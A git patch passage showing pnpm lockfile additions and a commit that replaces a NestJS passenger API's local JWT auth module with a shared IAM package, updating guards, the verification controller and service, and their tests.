dependencies: call-bind: 1.0.9 @@ -9638,6 +11864,8 @@ snapshots: package-json-from-dist@1.0.1: {} + pako@1.0.11: {} + parent-module@1.0.1: dependencies: callsites: 3.1.0 @@ -9651,6 +11879,13 @@ snapshots: parseurl@1.3.3: {} + pascal-case@3.1.2: + dependencies: + no-case: 3.0.4 + tslib: 2.8.1 + + pascalcase@0.1.1: {} + passport-jwt@4.0.1: dependencies: jsonwebtoken: 9.0.3 @@ -9698,6 +11933,41 @@ snapshots: perfect-debounce@1.0.0: {} + pg-cloudflare@1.4.0: + optional: true + + pg-connection-string@2.13.0: {} + + pg-int8@1.0.1: {} + + pg-pool@3.14.0(pg@8.21.0): + dependencies: + pg: 8.21.0 + + pg-protocol@1.14.0: {} + + pg-types@2.2.0: + dependencies: + pg-int8: 1.0.1 + postgres-array: 2.0.0 + postgres-bytea: 1.0.1 + postgres-date: 1.0.7 + postgres-interval: 1.2.0 + + pg@8.21.0: + dependencies: + pg-connection-string: 2.13.0 + pg-pool: 3.14.0(pg@8.21.0) + pg-protocol: 1.14.0 + pg-types: 2.2.0 + pgpass: 1.0.5 + optionalDependencies: + pg-cloudflare: 1.4.0 + + pgpass@1.0.5: + dependencies: + split2: 4.2.0 + picocolors@1.1.1: {} picomatch@2.3.2: {} @@ -9724,6 +11994,8 @@ snapshots: pngjs@5.0.0: {} + posix-character-classes@0.1.1: {} + possible-typed-array-names@1.1.0: {} postcss-import@15.1.0(postcss@8.5.15): @@ -9770,6 +12042,16 @@ snapshots: picocolors: 1.1.1 source-map-js: 1.2.1 + postgres-array@2.0.0: {} + + postgres-bytea@1.0.1: {} + + postgres-date@1.0.7: {} + + postgres-interval@1.2.0: + dependencies: + xtend: 4.0.2 + prelude-ls@1.2.1: {} prettier@3.8.3: {} @@ -9789,6 +12071,10 @@ snapshots: transitivePeerDependencies: - magicast + process-nextick-args@2.0.1: {} + + promise-breaker@6.0.0: {} + prompts@2.4.2: dependencies: kleur: 3.0.3 @@ -9807,6 +12093,8 @@ snapshots: proxy-from-env@2.1.0: {} + punycode@1.4.1: {} + punycode@2.3.1: {} pure-rand@6.1.0: {} @@ -9825,10 +12113,22 @@ snapshots: dependencies: side-channel: 1.1.0 + query-string@7.1.3: + dependencies: + decode-uri-component: 0.2.2 + filter-obj: 1.1.0 + split-on-first: 1.1.0 + strict-uri-encode: 2.0.0 + queue-microtask@1.2.3: {} range-parser@1.2.1: {} + rapiq@0.9.0: + dependencies: + ebec: 1.1.1 + smob: 1.6.2 + raw-body@3.0.2: dependencies: bytes: 3.1.2 @@ -9880,12 +12180,26 @@ snapshots: dependencies: pify: 2.3.0 + readable-stream@2.3.8: + dependencies: + core-util-is: 1.0.3 + inherits: 2.0.4 + isarray: 1.0.0 + process-nextick-args: 2.0.1 + safe-buffer: 5.1.2 + string_decoder: 1.1.1 + util-deprecate: 1.0.2 + readable-stream@3.6.2: dependencies: inherits: 2.0.4 string_decoder: 1.3.0 util-deprecate: 1.0.2 + readdir-glob@1.1.3: + dependencies: + minimatch: 5.1.9 + readdirp@3.6.0: dependencies: picomatch: 2.3.2 @@ -9909,6 +12223,8 @@ snapshots: tiny-invariant: 1.3.3 victory-vendor: 36.9.2 + reflect-metadata@0.1.14: {} + reflect-metadata@0.2.2: {} reflect.getprototypeof@1.0.10: @@ -9922,6 +12238,11 @@ snapshots: get-proto: 1.0.1 which-builtin-type: 1.2.1 + regex-not@1.0.2: + dependencies: + extend-shallow: 3.0.2 + safe-regex: 1.1.0 + regexp.prototype.flags@1.5.4: dependencies: call-bind: 1.0.9 @@ -9931,6 +12252,19 @@ snapshots: gopd: 1.2.0 set-function-name: 2.0.2 + relative@3.0.2: + dependencies: + isobject: 2.1.0 + + remarkable@1.7.4: + dependencies: + argparse: 1.0.10 + autolinker: 0.28.1 + + repeat-element@1.1.4: {} + + repeat-string@1.6.1: {} + require-directory@2.1.1: {} require-from-string@2.0.2: {} @@ -9947,6 +12281,8 @@ snapshots: resolve-pkg-maps@1.0.0: {} + resolve-url@0.2.1: {} + resolve.exports@2.0.3: {} resolve@1.22.12: @@ -9975,10 +12311,16 @@ snapshots: onetime: 7.0.0 signal-exit: 4.1.0 + ret@0.1.15: {} + reusify@1.1.0: {} rfdc@1.4.1: {} + rimraf@2.7.1: + dependencies: + glob: 7.2.3 + rimraf@3.0.2: dependencies: glob: 7.2.3 @@ -10013,6 +12355,8 @@ snapshots: has-symbols: 1.1.0 isarray: 2.0.5 + safe-buffer@5.1.2: {} + safe-buffer@5.2.1: {} safe-push-apply@1.0.0: @@ -10026,8 +12370,18 @@ snapshots: es-errors: 1.3.0 is-regex: 1.2.1 + safe-regex@1.1.0: + dependencies: + ret: 0.1.15 + safer-buffer@2.1.2: {} + sax@1.6.0: {} + + saxes@5.0.1: + dependencies: + xmlchars: 2.2.0 + scheduler@0.23.2: dependencies: loose-envify: 1.4.0 @@ -10045,6 +12399,8 @@ snapshots: ajv-formats: 2.1.1(ajv@8.20.0) ajv-keywords: 5.1.0(ajv@8.20.0) + self-closing-tags@1.0.1: {} + semver@6.3.1: {} semver@7.8.1: {} @@ -10092,12 +12448,25 @@ snapshots: functions-have-names: 1.2.3 has-property-descriptors: 1.0.2 + set-getter@0.1.1: + dependencies: + to-object-path: 0.3.0 + set-proto@1.0.0: dependencies: dunder-proto: 1.0.1 es-errors: 1.3.0 es-object-atoms: 1.1.1 + set-value@2.0.1: + dependencies: + extend-shallow: 2.0.1 + is-extendable: 0.1.1 + is-plain-object: 2.0.4 + split-string: 3.1.0 + + setimmediate@1.0.5: {} + setprototypeof@1.2.0: {} sha.js@2.4.12: @@ -10158,8 +12527,41 @@ snapshots: ansi-styles: 6.2.3 is-fullwidth-code-point: 5.1.0 + smob@1.6.2: {} + + snapdragon-node@2.1.1: + dependencies: + define-property: 1.0.0 + isobject: 3.0.1 + snapdragon-util: 3.0.1 + + snapdragon-util@3.0.1: + dependencies: + kind-of: 3.2.2 + + snapdragon@0.8.2: + dependencies: + base: 0.11.2 + debug: 2.6.9 + define-property: 0.2.5 + extend-shallow: 2.0.1 + map-cache: 0.2.2 + source-map: 0.5.7 + source-map-resolve: 0.5.3 + use: 3.1.1 + transitivePeerDependencies: + - supports-color + source-map-js@1.2.1: {} + source-map-resolve@0.5.3: + dependencies: + atob: 2.1.2 + decode-uri-component: 0.2.2 + resolve-url: 0.2.1 + source-map-url: 0.4.1 + urix: 0.1.0 + source-map-support@0.5.13: dependencies: buffer-from: 1.1.2 @@ -10170,24 +12572,45 @@ snapshots: buffer-from: 1.1.2 source-map: 0.6.1 + source-map-url@0.4.1: {} + + source-map@0.5.7: {} + source-map@0.6.1: {} source-map@0.7.4: {} + split-on-first@1.1.0: {} + + split-string@3.1.0: + dependencies: + extend-shallow: 3.0.2 + split2@4.2.0: {} sprintf-js@1.0.3: {} sql-highlight@6.1.0: {} + ssf@0.11.2: + dependencies: + frac: 1.1.2 + stable-hash@0.0.5: {} stack-utils@2.0.6: dependencies: escape-string-regexp: 2.0.0 + static-extend@0.1.2: + dependencies: + define-property: 0.2.5 + object-copy: 0.1.0 + statuses@2.0.2: {} + std-env@3.10.0: {} + stop-iteration-iterator@1.1.0: dependencies: es-errors: 1.3.0 @@ -10195,6 +12618,8 @@ snapshots: streamsearch@1.1.0: {} + strict-uri-encode@2.0.0: {} + string-argv@0.3.2: {} string-length@4.0.2: @@ -10270,6 +12695,10 @@ snapshots: define-properties: 1.2.1 es-object-atoms: 1.1.1 + string_decoder@1.1.1: + dependencies: + safe-buffer: 5.1.2 + string_decoder@1.3.0: dependencies: safe-buffer: 5.2.1 @@ -10292,15 +12721,23 @@ snapshots: strip-json-comments@3.1.1: {} + striptags@3.2.0: {} + + strnum@1.1.2: {} + strtok3@10.3.5: dependencies: '@tokenizer/token': 0.3.0 + style-object-to-css-string@1.1.3: {} + styled-jsx@5.1.1(react@18.3.1): dependencies: client-only: 0.0.1 react: 18.3.1 + success-symbol@0.1.0: {} + sucrase@3.35.1: dependencies: '@jridgewell/gen-mapping': 0.3.13 @@ -10386,6 +12823,14 @@ snapshots: tapable@2.3.3: {} + tar-stream@2.2.0: + dependencies: + bl: 4.1.0 + end-of-stream: 1.4.5 + fs-constants: 1.0.0 + inherits: 2.0.4 + readable-stream: 3.6.2 + tar@6.2.1: dependencies: chownr: 2.0.0 @@ -10428,8 +12873,19 @@ snapshots: dependencies: any-promise: 1.3.0 + through2@2.0.5: + dependencies: + readable-stream: 2.3.8 + xtend: 4.0.2 + + through2@4.0.2: + dependencies: + readable-stream: 3.6.2 + through@2.3.8: {} + time-stamp@1.1.0: {} + tiny-invariant@1.3.3: {} tinyexec@1.1.2: {} @@ -10439,6 +12895,8 @@ snapshots: fdir: 6.5.0(picomatch@4.0.4) picomatch: 4.0.4 + tmp@0.2.7: {} + tmpl@1.0.5: {} to-buffer@1.2.2: @@ -10447,10 +12905,28 @@ snapshots: safe-buffer: 5.2.1 typed-array-buffer: 1.0.3 + to-gfm-code-block@0.1.1: {} + + to-object-path@0.3.0: + dependencies: + kind-of: 3.2.2 + + to-regex-range@2.1.1: + dependencies: + is-number: 3.0.0 + repeat-string: 1.6.1 + to-regex-range@5.0.1: dependencies: is-number: 7.0.0 + to-regex@3.0.2: + dependencies: + define-property: 2.0.2 + extend-shallow: 3.0.2 + regex-not: 1.0.2 + safe-regex: 1.1.0 + toidentifier@1.0.1: {} token-types@6.1.2: @@ -10461,6 +12937,8 @@ snapshots: tr46@0.0.3: {} + traverse@0.3.9: {} + ts-api-utils@2.5.0(typescript@5.9.3): dependencies: typescript: 5.9.3 @@ -10594,7 +13072,24 @@ snapshots: typedarray@0.0.6: {} - typeorm@0.3.30(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)): + typeof-article@0.1.1: + dependencies: + kind-of: 3.2.2 + + typeorm-extension@3.9.0(@faker-js/faker@10.4.0)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))): + dependencies: + '@faker-js/faker': 10.4.0 + consola: 3.4.2 + envix: 1.5.0 + locter: 2.2.1 + pascal-case: 3.1.2 + rapiq: 0.9.0 + reflect-metadata: 0.2.2 + smob: 1.6.2 + typeorm: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + yargs: 18.0.0 + + typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)): dependencies: '@sqltools/formatter': 1.2.5 ansis: 4.3.0 @@ -10612,6 +13107,7 @@ snapshots: uuid: 11.1.1 yargs: 17.7.2 optionalDependencies: + pg: 8.21.0 ts-node: 10.9.2(@types/node@20.19.41)(typescript@5.9.3) transitivePeerDependencies: - babel-plugin-macros @@ -10641,6 +13137,13 @@ snapshots: unicorn-magic@0.1.0: {} + union-value@1.0.1: + dependencies: + arr-union: 3.1.0 + get-value: 2.0.6 + is-extendable: 0.1.1 + set-value: 2.0.1 + universalify@2.0.1: {} unpipe@1.0.0: {} @@ -10672,6 +13175,24 @@ snapshots: '@unrs/resolver-binding-win32-ia32-msvc': 1.12.2 '@unrs/resolver-binding-win32-x64-msvc': 1.12.2 + unset-value@1.0.0: + dependencies: + has-value: 0.3.1 + isobject: 3.0.1 + + unzipper@0.10.14: + dependencies: + big-integer: 1.6.52 + binary: 0.3.0 + bluebird: 3.4.7 + buffer-indexof-polyfill: 1.0.2 + duplexer2: 0.1.4 + fstream: 1.0.12 + graceful-fs: 4.2.11 + listenercount: 1.0.1 + readable-stream: 2.3.8 + setimmediate: 1.0.5 + update-browserslist-db@1.2.3(browserslist@4.28.2): dependencies: browserslist: 4.28.2 @@ -10682,12 +13203,26 @@ snapshots: dependencies: punycode: 2.3.1 + urix@0.1.0: {} + + use@3.1.1: {} + util-deprecate@1.0.2: {} + util@0.12.5: + dependencies: + inherits: 2.0.4 + is-arguments: 1.2.0 + is-generator-function: 1.1.2 + is-typed-array: 1.1.15 + which-typed-array: 1.1.20 + utils-merge@1.0.1: {} uuid@11.1.1: {} + uuid@8.3.2: {} + v8-compile-cache-lib@3.0.1: {} v8-to-istanbul@9.3.0: @@ -10721,6 +13256,8 @@ snapshots: dependencies: makeerror: 1.0.12 + warning-symbol@0.1.0: {} + watchpack@2.5.1: dependencies: glob-to-regexp: 0.4.1 @@ -10730,6 +13267,12 @@ snapshots: dependencies: defaults: 1.0.4 + web-encoding@1.1.5: + dependencies: + util: 0.12.5 + optionalDependencies: + '@zxing/text-encoding': 0.9.0 + webidl-conversions@3.0.1: {} webpack-node-externals@3.0.0: {} @@ -10833,8 +13376,12 @@ snapshots: dependencies: string-width: 4.2.3 + wmf@1.0.2: {} + word-wrap@1.2.5: {} + word@0.3.0: {} + wordwrap@1.0.0: {} wrap-ansi@6.2.0: @@ -10868,6 +13415,29 @@ snapshots: imurmurhash: 0.1.4 signal-exit: 3.0.7 + xlsx@0.18.5: + dependencies: + adler-32: 1.3.1 + cfb: 1.2.2 + codepage: 1.15.0 + crc-32: 1.2.2 + ssf: 0.11.2 + wmf: 1.0.2 + word: 0.3.0 + + xml2js@0.5.0: + dependencies: + sax: 1.6.0 + xmlbuilder: 11.0.1 + + xml@1.0.1: {} + + xmlbuilder@11.0.1: {} + + xmlchars@2.2.0: {} + + xtend@4.0.2: {} + y18n@4.0.3: {} y18n@5.0.8: {} @@ -10885,6 +13455,8 @@ snapshots: yargs-parser@21.1.1: {} + yargs-parser@22.0.0: {} + yargs@15.4.1: dependencies: cliui: 6.0.0 @@ -10909,6 +13481,17 @@ snapshots: y18n: 5.0.8 yargs-parser: 21.1.1 + yargs@18.0.0: + dependencies: + cliui: 9.0.1 + escalade: 3.2.0 + get-caller-file: 2.0.5 + string-width: 7.2.0 + y18n: 5.0.8 + yargs-parser: 22.0.0 + + year@0.2.1: {} + yn@3.1.1: {} yocto-queue@0.1.0: {} @@ -10917,6 +13500,12 @@ snapshots: yoctocolors-cjs@2.1.3: {} + zip-stream@4.1.1: + dependencies: + archiver-utils: 3.0.4 + compress-commons: 4.1.2 + readable-stream: 3.6.2 + zod@3.25.76: {} zustand@5.0.13(@types/react@18.3.29)(react@18.3.1): From 785623fcbbc08cbdfaea1fd22184e2e1d9895e46 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Wed, 3 Jun 2026 10:12:08 +0300 Subject: [PATCH 02/51] refactor: ( passenger-api.auth ) remove the existing auth module --- apps/edr-passenger-api/package.json | 4 +- apps/edr-passenger-api/src/app.module.ts | 31 ++-- .../edr-passenger-api/src/common/jwt.guard.ts | 9 +- .../modules/verifayda/optional-jwt.guard.ts | 37 +++-- .../modules/verifayda/verifayda.controller.ts | 17 +-- .../src/modules/verifayda/verifayda.module.ts | 5 +- .../verifayda/verifayda.service.spec.ts | 61 +++----- .../modules/verifayda/verifayda.service.ts | 19 +-- pnpm-lock.yaml | 141 ++++++++++++++++-- 9 files changed, 209 insertions(+), 115 deletions(-) diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index 4102fc619..531a64bfd 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -36,8 +36,8 @@ "@nestjs/swagger": "^7.4.0", "@nestjs/typeorm": "^11.0.1", "@sendgrid/mail": "^8.1.0", - "@tria-plc/api-common": "^0.1.4", - "@tria-plc/iamapi-common": "^0.1.6", + "@tria-plc/api-common": "1.2.3", + "@tria-plc/iamapi-common": "^0.4.1", "amqp-connection-manager": "^5.0.0", "amqplib": "^2.0.1", "axios": "^1.7.7", diff --git a/apps/edr-passenger-api/src/app.module.ts b/apps/edr-passenger-api/src/app.module.ts index 6e76d0e84..aa476f1c8 100644 --- a/apps/edr-passenger-api/src/app.module.ts +++ b/apps/edr-passenger-api/src/app.module.ts @@ -1,4 +1,9 @@ -import { Module, NestModule, MiddlewareConsumer } from '@nestjs/common'; +import { + MiddlewareConsumer, + Module, + NestModule, + OnApplicationBootstrap, +} from '@nestjs/common'; import { ConfigModule, ConfigService } from '@nestjs/config'; import { ScheduleModule } from '@nestjs/schedule'; import { EventEmitterModule } from '@nestjs/event-emitter'; @@ -6,6 +11,7 @@ import { TypeOrmModule, TypeOrmModuleOptions } from '@nestjs/typeorm'; // Subpath import: the @tria-plc/iamapi-common barrel does not resolve under moduleResolution:"Node". // Aliased to avoid clashing with the app's existing custom ./common/iam.module (remote IamGuard). import { IamModule as TriaIamModule } from '@tria-plc/iamapi-common/iam.module'; +import { DataSeeder } from '@tria-plc/iamapi-common/db/seed/seeder'; import { PrismaModule } from './common/prisma.module'; import { I18nModule } from './common/i18n/i18n.module'; import { LocaleMiddleware } from './common/i18n/locale.middleware'; @@ -18,7 +24,6 @@ import ebirrConfig from './config/ebirr.config'; import cardConfig from './config/card.config'; import waafiConfig from './config/waafi.config'; import faydaConfig from './config/fayda.config'; -import { AuthModule } from './modules/auth/auth.module'; import { StationsModule } from './modules/stations/stations.module'; import { FleetModule } from './modules/fleet/fleet.module'; import { SchedulesModule } from './modules/schedules/schedules.module'; @@ -61,22 +66,14 @@ import { VerifaydaModule } from './modules/verifayda/verifayda.module'; }), ScheduleModule.forRoot(), EventEmitterModule.forRoot(), - // TypeORM root DataSource for the shared `iam` schema (coexists with Prisma's `passenger` - // schema). Required so @tria-plc/api-common's JwtGuard can read `iam.sessions`, and so - // IamModule's forFeature repositories resolve. Options come from the `database` config - // namespace (see config/database.config.ts → iam-typeorm.config.ts). TypeOrmModule.forRootAsync({ inject: [ConfigService], useFactory: (config: ConfigService): TypeOrmModuleOptions => config.get('iamDatabase')!, }), - // Mount the @tria-plc IAM module (auth/user/org-structure). Registers the IAM REST API under - // /v1/* (URI versioning). NOTE: SharedAuthModule (global JwtGuard) is intentionally added later - // in the route-protection phase, so public passenger routes are not 401'd before then. TriaIamModule.forRoot(), PrismaModule, I18nModule, - // AuthModule, StationsModule, FleetModule, SchedulesModule, @@ -102,8 +99,16 @@ import { VerifaydaModule } from './modules/verifayda/verifayda.module'; VerifaydaModule, ], }) -export class AppModule implements NestModule { - configure(consumer: MiddlewareConsumer) { - consumer.apply(LocaleMiddleware).forRoutes('*'); +export class AppModule implements OnApplicationBootstrap { + constructor( + private readonly seeder: DataSeeder, + // private readonly edrOrgSeeder: EdrOrgSeeder, + // private readonly demoUsersSeeder: DemoUsersSeeder, + ) { } + + async onApplicationBootstrap() { + await this.seeder.run(); + // await this.edrOrgSeeder.run(); + // await this.demoUsersSeeder.run(); } } diff --git a/apps/edr-passenger-api/src/common/jwt.guard.ts b/apps/edr-passenger-api/src/common/jwt.guard.ts index f65f8455d..dfdeed190 100644 --- a/apps/edr-passenger-api/src/common/jwt.guard.ts +++ b/apps/edr-passenger-api/src/common/jwt.guard.ts @@ -1,5 +1,4 @@ -import { Injectable } from '@nestjs/common'; -import { AuthGuard } from '@nestjs/passport'; - -@Injectable() -export class JwtGuard extends AuthGuard('jwt') {} +// Compatibility alias while passenger auth moves to @tria-plc IAM. +// Existing controllers can keep importing `../../common/jwt.guard`, but the +// guard now validates IAM-issued session tokens from `iam.sessions`. +export { JwtGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; diff --git a/apps/edr-passenger-api/src/modules/verifayda/optional-jwt.guard.ts b/apps/edr-passenger-api/src/modules/verifayda/optional-jwt.guard.ts index 5f5fac19b..8673aa60e 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/optional-jwt.guard.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/optional-jwt.guard.ts @@ -1,21 +1,30 @@ -import { Injectable } from '@nestjs/common'; -import { AuthGuard } from '@nestjs/passport'; +import { CanActivate, ExecutionContext, Injectable } from '@nestjs/common'; +import { Reflector } from '@nestjs/core'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { JwtGuard as IamJwtGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; +import { DataSource } from 'typeorm'; /** - * Like {@link JwtGuard}, but never rejects the request. + * Like the IAM JwtGuard, but never rejects the request. * - * When a valid `Authorization: Bearer ` is present, `request.user` is - * populated from the JWT strategy (`{ userId, ... }`). When the token is - * missing or invalid, the request still proceeds with `request.user` - * undefined — the handler decides what to do. - * - * Used on `POST /fayda/verification/start`, which must work for both - * logged-in users (who can opt to save the verification to their account) - * and guests (anchored to a booking only). + * When a valid IAM bearer token is present, `request.user` is populated with + * the package `TCurrentUser`. Missing or invalid tokens continue as guests. */ @Injectable() -export class OptionalJwtGuard extends AuthGuard('jwt') { - handleRequest(_err: unknown, user: TUser): TUser { - return (user ?? null) as TUser; +export class OptionalJwtGuard extends IamJwtGuard implements CanActivate { + constructor( + reflector: Reflector, + @InjectDataSource() dataSource: DataSource, + ) { + super(reflector, dataSource); + } + + async canActivate(context: ExecutionContext): Promise { + try { + await super.canActivate(context); + } catch { + context.switchToHttp().getRequest().user = undefined; + } + return true; } } diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts index f1eb25e8e..4c63736df 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts @@ -15,6 +15,7 @@ import { ApiOperation, ApiTags, } from '@nestjs/swagger'; +import type { TCurrentUser } from '@tria-plc/api-common/modules/auth/types/current-user.type'; import { JwtGuard } from '../../common/jwt.guard'; import { OptionalJwtGuard } from './optional-jwt.guard'; import { @@ -25,21 +26,13 @@ import { } from './verifayda.dto'; import { VerifaydaService } from './verifayda.service'; -/** Shape the JWT strategy puts on `request.user` (see common/jwt.strategy.ts). */ -interface AuthedUser { - userId: string; - email?: string; - role?: string; - passengerId?: string; -} - /** Minimal slices of the Express req we touch (avoids a hard dependency on * `@types/express`, which isn't resolved in this package). */ interface RequestWithOptionalUser { - user?: AuthedUser; + user?: TCurrentUser; } interface RequestWithUser { - user: AuthedUser; + user: TCurrentUser; } @ApiTags('Fayda Verification') @@ -75,7 +68,7 @@ export class VerifaydaController { const authorizationUrl = await this.service.startVerification({ purpose: dto.purpose ?? 'PURCHASE', platform: dto.platform ?? 'WEB', - userId: req.user?.userId, + userId: req.user?.id, bookingId: dto.bookingId, saveToAccount: dto.saveToAccount, }); @@ -106,6 +99,6 @@ export class VerifaydaController { async status( @Req() req: RequestWithUser, ): Promise { - return this.service.getVerificationStatus(req.user.userId); + return this.service.getVerificationStatus(req.user.id); } } diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.module.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.module.ts index d850b1dbf..e54b94726 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.module.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.module.ts @@ -2,12 +2,9 @@ import { Module } from '@nestjs/common'; import { VerifaydaController } from './verifayda.controller'; import { VerifaydaService } from './verifayda.service'; import { PrismaModule } from '../../common/prisma.module'; -import { AuthModule } from '../auth/auth.module'; @Module({ - // AuthModule re-exports JwtModule, giving us JwtService (same secret/expiry - // config as /auth/login) to mint tokens for the LOGIN flow. - imports: [PrismaModule, AuthModule], + imports: [PrismaModule], controllers: [VerifaydaController], providers: [VerifaydaService], exports: [VerifaydaService], diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts index e4b8cb790..4d4695c61 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts @@ -1,5 +1,4 @@ import { ConfigService } from '@nestjs/config'; -import { JwtService } from '@nestjs/jwt'; import { exportJWK, generateKeyPair, type JWK } from 'jose'; import { PrismaService } from '../../common/prisma.service'; import { FaydaConfig } from '../../config/fayda.config'; @@ -30,12 +29,6 @@ function buildPrismaMock() { }; } -function buildJwtMock(): jest.Mocked { - return { - sign: jest.fn(() => 'signed.jwt.token'), - } as unknown as jest.Mocked; -} - function buildConfig(overrides?: Partial): FaydaConfig { return { enabled: true, @@ -65,7 +58,6 @@ function buildConfigService(faydaConfig: FaydaConfig): jest.Mocked { let prisma: ReturnType; - let jwt: jest.Mocked; let service: VerifaydaService; let realPrivateJwk: JWK; @@ -77,12 +69,10 @@ describe('VerifaydaService (OIDC, client-callback)', () => { beforeEach(() => { prisma = buildPrismaMock(); - jwt = buildJwtMock(); const cfg = buildConfig({ privateJwk: realPrivateJwk as FaydaConfig['privateJwk'] }); service = new VerifaydaService( buildConfigService(cfg), prisma as unknown as PrismaService, - jwt, ); (global as any).fetch = jest.fn(); }); @@ -136,7 +126,6 @@ describe('VerifaydaService (OIDC, client-callback)', () => { const disabledService = new VerifaydaService( buildConfigService(buildConfig({ enabled: false })), prisma as unknown as PrismaService, - jwt, ); await expect( disabledService.startVerification({ purpose: 'PURCHASE' }), @@ -433,7 +422,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { prisma.faydaVerificationSession.findUnique.mockResolvedValue(loginSession()); }); - it('creates a new user when no match and returns { token, user }', async () => { + it('creates a new user but rejects legacy local token issuance', async () => { const fullUser = { id: 'new-user', email: 'new@example.com', @@ -452,17 +441,12 @@ describe('VerifaydaService (OIDC, client-callback)', () => { mockLoginFetch({ sub: 'login-sub-1', name: 'New Person', email: 'new@example.com' }); - const result = await service.completeVerification({ - code: 'c', - state: 'state-login', - }); - - expect(result).toMatchObject({ - purpose: 'LOGIN', - verified: true, - token: 'signed.jwt.token', - user: { id: 'new-user', passengerId: 'p-new' }, - }); + await expect( + service.completeVerification({ + code: 'c', + state: 'state-login', + }), + ).rejects.toMatchObject({ status: 401 }); expect(prisma.user.create).toHaveBeenCalledWith( expect.objectContaining({ data: expect.objectContaining({ @@ -473,12 +457,9 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }), ); expect(prisma.passenger.create).toHaveBeenCalled(); - expect(jwt.sign).toHaveBeenCalledWith( - expect.objectContaining({ sub: 'new-user', passengerId: 'p-new' }), - ); }); - it('logs in an existing user already linked by faydaSub', async () => { + it('resolves an existing linked user but rejects legacy local token issuance', async () => { const fullUser = { id: 'known-user', email: 'k@example.com', @@ -491,16 +472,16 @@ describe('VerifaydaService (OIDC, client-callback)', () => { mockLoginFetch({ sub: 'login-sub-2', name: 'Known' }); - const result = await service.completeVerification({ - code: 'c', - state: 'state-login', - }); - - expect(result.user?.id).toBe('known-user'); + await expect( + service.completeVerification({ + code: 'c', + state: 'state-login', + }), + ).rejects.toMatchObject({ status: 401 }); expect(prisma.user.create).not.toHaveBeenCalled(); }); - it('links Fayda to an existing account matched by email', async () => { + it('links Fayda to an existing account matched by email but rejects legacy local token issuance', async () => { const fullUser = { id: 'acc-1', email: 'match@example.com', @@ -515,12 +496,12 @@ describe('VerifaydaService (OIDC, client-callback)', () => { mockLoginFetch({ sub: 'login-sub-3', email: 'match@example.com' }); - const result = await service.completeVerification({ - code: 'c', - state: 'state-login', - }); - - expect(result.user?.id).toBe('acc-1'); + await expect( + service.completeVerification({ + code: 'c', + state: 'state-login', + }), + ).rejects.toMatchObject({ status: 401 }); expect(prisma.user.update).toHaveBeenCalledWith( expect.objectContaining({ where: { id: 'acc-1' }, diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index f7b3e77fb..1adb20fea 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -6,7 +6,6 @@ import { UnauthorizedException, } from '@nestjs/common'; import { ConfigService } from '@nestjs/config'; -import { JwtService } from '@nestjs/jwt'; import axios, { AxiosInstance } from 'axios'; import * as bcrypt from 'bcrypt'; import { randomBytes } from 'crypto'; @@ -88,7 +87,6 @@ export class VerifaydaService { constructor( private readonly config: ConfigService, private readonly prisma: PrismaService, - private readonly jwt: JwtService, ) { const fayda = this.config.get('fayda'); if (!fayda) { @@ -274,16 +272,15 @@ export class VerifaydaService { passengerId: user.passenger?.id, agentId: user.agent?.id, }; - const token = this.jwt.sign({ - sub: summary.id, - email: summary.email, - role: summary.role, - passengerId: summary.passengerId, - agentId: summary.agentId, - }); - this.logger.log(`Fayda login issued token for user ${user.id}`); - return { token, user: summary }; + this.logger.warn( + `Legacy passenger Fayda login reached for user ${user.id}; use IAM /v1/auth Fayda login to issue tokens.`, + ); + throw new UnauthorizedException({ + code: 'FAYDA_LOGIN_MIGRATED_TO_IAM', + message: 'Fayda login tokens are issued by the IAM package auth endpoints.', + user: summary, + }); } async getVerificationStatus(userId: string): Promise { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 81135f520..a99424102 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -69,11 +69,11 @@ importers: specifier: ^8.1.0 version: 8.1.6 '@tria-plc/api-common': - specifier: ^0.1.4 - version: 0.1.4(296a75716ddf658d3d4f5879ef7db3cb) + specifier: 1.2.3 + version: 1.2.3(82de1fa22df14d2f8c974e73e7d5a000) '@tria-plc/iamapi-common': - specifier: ^0.1.6 - version: 0.1.6(efb6e02fa9b4108b3ff4c3ae477b6dad) + specifier: ^0.4.1 + version: 0.4.1(c31a38bece4d321b4fae6a2e7e5e96b1) amqp-connection-manager: specifier: ^5.0.0 version: 5.0.0(amqplib@2.0.1) @@ -1397,8 +1397,8 @@ packages: '@tokenizer/token@0.3.0': resolution: {integrity: sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==} - '@tria-plc/api-common@0.1.4': - resolution: {integrity: 